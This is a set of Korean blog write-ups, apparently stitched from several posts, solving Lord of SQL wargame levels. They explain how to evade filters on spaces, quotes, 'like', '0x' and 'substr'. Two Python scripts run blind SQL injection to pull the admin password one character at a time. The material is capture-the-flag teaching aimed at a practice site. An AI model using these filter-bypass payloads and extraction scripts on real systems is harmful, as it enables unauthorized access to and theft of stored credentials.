from 뒤에 테이블명이 오는데 띄어쓰기가 안되어 있어서 Query가 제대로 작동하지 않습니다.

하지만 필터링으로 공백, 개행, 커서 처음으로, 탭 4가지를 막아 놨습니다.



하지만 ascii 코드표를 참고해보시면 아시겠지만 공백으로 인식되는 다양한 것들이 있습니다.

%09, %0a, %0b, %0c, %0d, %20

다음 6가지들은 모두 공백을 뜻합니다. 4가지만 막아두었기 때문에 다른 2가지를 사용해 문제를 해결 할 수 있습니다.


'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] zombie_assassin  (0) 2018.10.08
[LOS] assassin  (0) 2018.10.08
[LOS] bugbear  (0) 2018.10.06
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06

점점 필터링이 많아지네요..

이번에는 like, 공백, 0x 도 필터링이 되어있습니다.



우선 공백은 %0a로 대체할 수 있으며, like는 in으로 대체하면 됩니다.



이제 'admin'을 만들어야 하는데 전 문제에서는 Hex값으로 만들었지만 이번에는 필터링이 되어있습니다.

그렇다면 이번에는 0b2진수로 'admin'을 만들어 전송하면 됩니다.


2진수는 문자열 자체를 바꿀 수는 없기 때문에 한 글자 한 글자 바꿔주면 됩니다.

다행이 글자 수의 제한이 없기 때문에 가능한 작업입니다.


python으로 바꾸시려면 bin(ord('a')) 과 같이 ['a' → 10진수 → 2진수]로  변환하시면 됩니다.


문자를 하나씩 나눠 놨기 때문에 하나로 합치는 작업을 해야 합니다.

여기서 concat()이라는 내장 함수로 문자들을 합칠 수 있습니다.


아래와 같이 만들어서 전송하시면 "Hello admin"을 만나보실 수 있습니다.



복잡해 보이지만 다음과 같습니다.

  공백     → %0a

  or        → ||

  and      → &&

  =         → in()

  'admin'  → concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?'
password = ''
length = 0
 
#pw 길이 구하기
for i in range(1,99):
    query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0alength(pw)%0ain("+str(i)+")"
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+password+chr(j)+'")'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs



나온 답은 소문자로 ~

'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] assassin  (0) 2018.10.08
[LOS] giant  (0) 2018.10.07
[LOS] darkknight  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06

pw 는 '(single quarter)만 필터링을 합니다.

no 는 '(single quarter), substr, ascii, = 를 필터링 합니다.


때문에 '(single quarter)도 우회하고 substr도 우회하는 것이 중요합니다.



우선 pw에는 많은 필터링이 걸리지 않았지만 '(single quarter)가 필터링 되어 다루기 애매하므로 '(single quarter)가 없는 no에서 수행합니다.

= 대신에 like를 이용해 참으로 만들어 보면 "Hello guest"가 나옵니다.



"admin"이 필요하므로 id like 'admin'을 해서 "admin"을 만들어야 하는데 '(single quarter)가 필터링 되어있으니 Hex값으로 변경 후 전송합니다.

admin의 Hex값은 0x61646d696e 입니다. (참고로 'admin'을 hex로 바꾸는 것이 아닙니다.)



위의 내용을 바탕으로 Python 코드를 작성해봅니다.

'substr'가 필터링 되어있기 때문에 앞선 문제처럼 substring()을 사용할 수는 없습니다.

대신 left() 함수를 이용해서 왼쪽부터 한 글자씩 차례대로 알아내면 됩니다.


여기서 '(single quarter)가 필터링 되어있고 left()함수로 나오는 값은 문자열이기에 결국 '(single quarter)가 필요합니다.

그래서 대신 "(double quarter)로 사용하면 대체할 수 있습니다.


python 코드에서 문자열을 묶을 때 "(double quarter)로 보통 사용하는데 이번 만큼은 '(single quarter)로 대신 묶어줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
cookies= {'PHPSESSID':'YourCookieValue'}
 
url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?'
password = ''
length = 0

#pw 길이 구하기
for i in range(1,99):
    query = "no=1 or id like 0x61646d696e %26%26 length(pw) like "+str(i)
    payload = url+query
    print (payload)
    res = requests.get(payload, cookies=cookies)
    if((res.text).find("Hello admin")>0):
        length = i
        print("length: "+str(length))
        break    
 
#pw 구하기
for i in range(1,length+1):
    for j in range(48,127):
        query = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+password+chr(j)+'"'
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)
        if((res.text).find("Hello admin")>0):
            password += chr(j)
            print("password: "+password)
            break
        
print ("password : "+password)
cs




'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글

[LOS] giant  (0) 2018.10.07
[LOS] bugbear  (0) 2018.10.06
[LOS] golem  (0) 2018.10.06
[LOS] skeleton  (0) 2018.10.06
[LOS] vampire  (0) 2018.10.06

+ Recent posts